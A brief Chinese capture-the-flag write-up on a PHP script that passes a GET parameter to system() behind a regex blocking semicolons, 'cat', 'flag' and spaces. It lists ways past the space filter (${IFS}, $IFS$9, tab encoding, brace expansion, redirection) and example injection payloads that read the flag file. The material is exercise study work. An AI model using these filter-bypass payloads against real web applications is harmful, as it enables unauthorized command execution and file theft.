代码审计
<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c))//过滤了; cat flag 空格{system($c." >/dev/null 2>&1");}}else{highlight_file(__FILE__);}
还过滤了空格,要进行空格绕过
> < <> 重定向符 %09(需要php环境) ${IFS} $IFS$9 #$9指传过来的第9个参数 {cat,flag.php} #用逗号实现了空格功能 %20```shell ?c=tac${IFS}fl%0a ?c=tac$IFS$9fl$IFS$9||
%20不行的原因是,get提交时,会自动进行解码成空格,匹配上正则
```
